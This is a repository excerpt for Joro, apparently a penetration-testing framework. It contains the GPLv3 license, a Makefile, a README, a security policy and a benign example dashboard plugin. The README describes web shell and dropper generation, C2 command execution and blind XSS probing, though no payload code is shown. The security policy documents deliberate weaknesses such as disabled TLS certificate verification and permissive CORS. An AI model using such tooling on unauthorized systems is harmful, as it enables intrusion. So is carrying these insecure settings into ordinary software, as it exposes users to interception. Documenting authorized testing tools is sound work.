License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+42
View File
@@ -0,0 +1,42 @@
.PHONY: build build-frontend build-all release-snapshot clean dev
BINARY := joro
DIST := dist
COMMIT := $(shell git rev-parse --short HEAD 2>/dev/null || echo "dev")
LDFLAGS := -s -w -X main.commit=$(COMMIT)
CC_WRAP := $(CURDIR)/scripts/cc.sh
# netgo + osusergo avoid libresolv/libc linkage — required for zig cc cross-builds.
TAGS := netgo,osusergo
build-frontend:
cd web && npm install && npm run build
# Native build. CGO_ENABLED defaults to 1 on the host, which is required for
# Go's plugin package (dlopen-based). Do not flip this off.
build: build-frontend
go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(BINARY) .
# Cross-compile to all 6 release targets via zig cc (wrapped by scripts/cc.sh).
# Matches .goreleaser.yaml so dev cross-builds are plugin-capable too.
# Requires `zig` on PATH (brew install zig).
build-all: build-frontend
@command -v zig >/dev/null || { echo 'zig not found on PATH (brew install zig)'; exit 1; }
CGO_ENABLED=1 CC="$(CC_WRAP) x86_64-linux-gnu.2.17" GOOS=linux GOARCH=amd64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-linux-amd64 .
CGO_ENABLED=1 CC="$(CC_WRAP) aarch64-linux-gnu.2.17" GOOS=linux GOARCH=arm64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-linux-arm64 .
CGO_ENABLED=1 GOOS=darwin GOARCH=amd64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-darwin-amd64 .
CGO_ENABLED=1 GOOS=darwin GOARCH=arm64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-darwin-arm64 .
CGO_ENABLED=1 CC="$(CC_WRAP) x86_64-windows-gnu" GOOS=windows GOARCH=amd64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-windows-amd64.exe .
CGO_ENABLED=1 CC="$(CC_WRAP) aarch64-windows-gnu" GOOS=windows GOARCH=arm64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-windows-arm64.exe .
# Local snapshot release for sanity-checking goreleaser config without tagging.
release-snapshot:
goreleaser release --snapshot --clean
# Start the backend with --dev so it proxies UI requests to Vite.
# Run `cd web && npm run dev` in another terminal first.
dev:
go run . --dev
clean:
rm -f $(BINARY) $(DIST)/joro-*
rm -rf web/dist web/node_modules
+45
View File
@@ -0,0 +1,45 @@
# Joro
![](assets/header.png)
A web exploitation framework for offensive security professionals. Intercepting proxy, blind vulnerability detection, web shell generation, C2 integration, and collaboration tools in a single binary with an embedded web UI.
> Warning This tool is intended for authorized penetration testing and security research only. You must only use Joro against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. Bishop Fox assumes no liability and is not responsible for any misuse or damage caused by this tool. Use responsibly.
## Features
- **Intercepting proxy** - capture, inspect, and modify HTTP/HTTPS traffic in real time
- **HTTPS MITM** - transparent TLS interception using a generated CA certificate
- **HTTP History** - searchable, filterable log of all proxied requests and responses
- **WebSocket capture** - inspect WebSocket frames alongside HTTP traffic
- **Intercept** - pause requests mid-flight, edit them in a syntax-highlighted editor, then forward or drop
- **Manipulate** - send and replay raw HTTP requests with a side-by-side response viewer
- **Site Map** - auto-generated tree of all proxied hosts, endpoints, and query parameter variants
- **Fuzzer** - multi-position HTTP fuzzer with configurable concurrency, matchers, filters, and three attack modes
- **Generate** - generate obfuscated web shells and droppers in PHP, ASP, ASPX, JSP, and CFM
- **Execute** - run commands via deployed web shells or a connected Sliver C2 teamserver
- **Listener mode** - out-of-band callback server (DNS + HTTP) for blind vulnerability detection
- **XSS Hunter** - blind XSS detection with probe payloads, screenshot capture, and DOM snapshots
- **Sliver C2** - connect to a Sliver teamserver to execute commands on active sessions and beacons
- **Transform** - encoding/decoding chains, hash generation, and JWT tampering tools
- **Team Server** - collaborative mode with shared team chat, shared notes, and active user presence
- **Notes** - per-host notes for tracking findings during engagements
- **Plugins** - extend Joro with Go plugins for custom execution backends, proxy hooks, tabs, and dashboards (Linux and macOS only - Go's plugin package does not support Windows)
- **Single binary** - the entire UI is embedded, nothing to install separately
## Installation
See the Joro wiki for [installation instructions](https://github.com/BishopFox/joro/wiki/Installation) and a [quick start guide](https://github.com/BishopFox/joro/wiki/Getting-Started).
## Help
For more information:
- Checkout the [wiki](https://github.com/BishopFox/joro/wiki)
- Review outstanding [issues](https://github.com/BishopFox/joro/issues) or [create your own](https://github.com/BishopFox/joro/issues/new/choose).
- See [CONTRIBUTING.md](https://github.com/BishopFox/joro/blob/main/CONTRIBUTING.md) for information on how to contribute.
- See [CLAUDE.md](https://github.com/BishopFox/joro/blob/main/CLAUDE.md) for detailed developer documentation.
- See [SECURITY.md](https://github.com/BishopFox/joro/blob/main/SECURITY.md) for information on reporting security issues.
### License - GPLv3
Joro is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+35
View File
@@ -0,0 +1,35 @@
# Security
Joro is a penetration testing tool designed to intercept, inspect, and modify HTTP/HTTPS traffic. Several patterns that would be vulnerabilities in a production application are intentional design choices here.
## Security Model
Joro is a **local security tool**, not a production service. The primary user is the pentester running it on their own machine or in a controlled lab environment. The threat model assumes the user trusts their local environment and is intentionally performing security testing against targets they are authorized to test.
## Safe Defaults
- **Proxy mode** binds to `127.0.0.1` by default. The proxy, web UI, and API are only accessible from the local machine.
- **Listener mode** (`--listener`) binds to `0.0.0.0` by default because it needs to receive DNS and HTTP callbacks from external targets. Ensure your firewall is configured appropriately.
- Use `--bind <address>` to override the default bind address in either mode. A warning is printed to stderr when binding to a non-localhost address.
## Intentional Design Tradeoffs
### TLS Certificate Verification Disabled
The proxy's upstream HTTP client sets `InsecureSkipVerify: true` to skip TLS certificate verification. This is required for MITM proxy functionality: the proxy terminates TLS with its own CA certificate and re-establishes connections to upstream servers. Without this, the proxy could not intercept traffic to servers with self-signed, expired, or otherwise invalid certificates, which is a common scenario during penetration tests.
### Permissive CORS
The API server uses permissive CORS headers to support the development workflow (Vite dev server on a different port) and local tooling integration. Since proxy mode binds to localhost by default, this limits exposure to the local machine.
### Arbitrary HTTP Requests
The Manipulate feature sends user-crafted HTTP requests to arbitrary destinations. This is the core functionality of the tool for manual testing.
### WebSocket Auth Token in Query Parameter
Team server mode accepts the authentication token as a `?token=` query parameter for WebSocket connections. This is a known browser limitation: the WebSocket API does not support custom headers during the upgrade handshake. This is acceptable because WebSocket URLs are not stored in browser history, do not appear in Referer headers, and team mode is intended for use on trusted networks.
## Reporting Vulnerabilities
If you discover a security issue in Joro itself (not the intentional behaviors described above), please report it via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/joro/security/advisories).
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 874 KiB

+7
View File
@@ -0,0 +1,7 @@
module github.com/BishopFox/joro/examples/plugins/hello-dashboard
go 1.25.0
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
replace github.com/BishopFox/joro/sdk => ../../../sdk
+71
View File
@@ -0,0 +1,71 @@
// hello-dashboard is an example dashboard plugin that replaces the default
// Dashboard page with a custom engagement overview.
//
// Build:
//
// go build -buildmode=plugin -o hello-dashboard.so . # Linux
// go build -buildmode=plugin -o hello-dashboard.dylib . # macOS
//
// Then place the file in ~/.joro/plugins/ and restart Joro.
// The Dashboard tab will render this plugin's UI instead of the built-in page.
package main
import (
"embed"
"encoding/json"
"io/fs"
"net/http"
"time"
"github.com/BishopFox/joro/sdk"
)
//go:embed ui
var uiFS embed.FS
// Plugin is the exported symbol that Joro looks up when loading the plugin.
var Plugin sdk.Plugin = &HelloDashboard{}
// HelloDashboard demonstrates replacing the built-in Dashboard with a custom UI.
type HelloDashboard struct {
startTime time.Time
}
func (d *HelloDashboard) Manifest() sdk.Manifest {
return sdk.Manifest{
Name: "hello-dashboard",
Version: "1.0.0",
Description: "Example Dashboard",
Type: sdk.TypeDashboard,
}
}
func (d *HelloDashboard) Init(_ sdk.PluginContext) error {
d.startTime = time.Now()
return nil
}
func (d *HelloDashboard) Shutdown() error { return nil }
func (d *HelloDashboard) Routes() []sdk.Route {
return []sdk.Route{
{
Method: "GET",
Pattern: "/stats",
Handler: d.handleStats,
},
}
}
func (d *HelloDashboard) UIAssets() fs.FS {
sub, _ := fs.Sub(uiFS, "ui")
return sub
}
func (d *HelloDashboard) handleStats(w http.ResponseWriter, _ *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{ //nolint:errcheck
"uptime": time.Since(d.startTime).Round(time.Second).String(),
"startTime": d.startTime.Format(time.RFC3339),
})
}
@@ -0,0 +1,314 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Dashboard Plugin</title>
<link rel="stylesheet" href="/api/v1/theme/variables.css">
<script>
const theme = new URLSearchParams(window.location.search).get('theme') || 'bishop-fox';
document.documentElement.setAttribute('data-theme', theme);
</script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: system-ui, -apple-system, sans-serif;
background: var(--color-surface-body);
color: var(--color-content-primary);
padding: 16px;
font-size: 13px;
line-height: 1.5;
}
.header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 16px;
}
.header h1 {
font-size: 15px;
font-weight: 700;
color: var(--color-accent);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.header .badge {
font-size: 11px;
color: var(--color-content-muted);
background: var(--color-surface-card);
padding: 2px 8px;
border-radius: 3px;
}
.cards {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(160px, 1fr));
gap: 10px;
margin-bottom: 16px;
}
.card {
background: var(--color-surface-card);
border: 1px solid var(--color-border);
border-radius: 4px;
padding: 12px 14px;
}
.card .label {
font-size: 11px;
color: var(--color-content-muted);
text-transform: uppercase;
letter-spacing: 0.04em;
margin-bottom: 4px;
}
.card .value {
font-size: 20px;
font-weight: 700;
font-variant-numeric: tabular-nums;
}
.card .value.teal { color: var(--color-accent-secondary); }
.card .value.lime { color: var(--color-accent-tertiary); }
.card .value.amber { color: var(--color-semantic-warning); }
.card .value.coral { color: var(--color-semantic-error); }
.panel {
background: var(--color-surface-card);
border: 1px solid var(--color-border);
border-radius: 4px;
overflow: hidden;
}
.panel-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 8px 14px;
border-bottom: 1px solid var(--color-border);
}
.panel-header h2 {
font-size: 11px;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.04em;
color: var(--color-content-secondary);
}
.panel-header .dot {
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--color-semantic-success);
display: inline-block;
margin-right: 6px;
animation: pulse 2s ease-in-out infinite;
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.3; }
}
table {
width: 100%;
border-collapse: collapse;
}
th {
text-align: left;
font-size: 11px;
font-weight: 500;
color: var(--color-content-muted);
padding: 6px 14px;
border-bottom: 1px solid var(--color-border-subtle);
}
td {
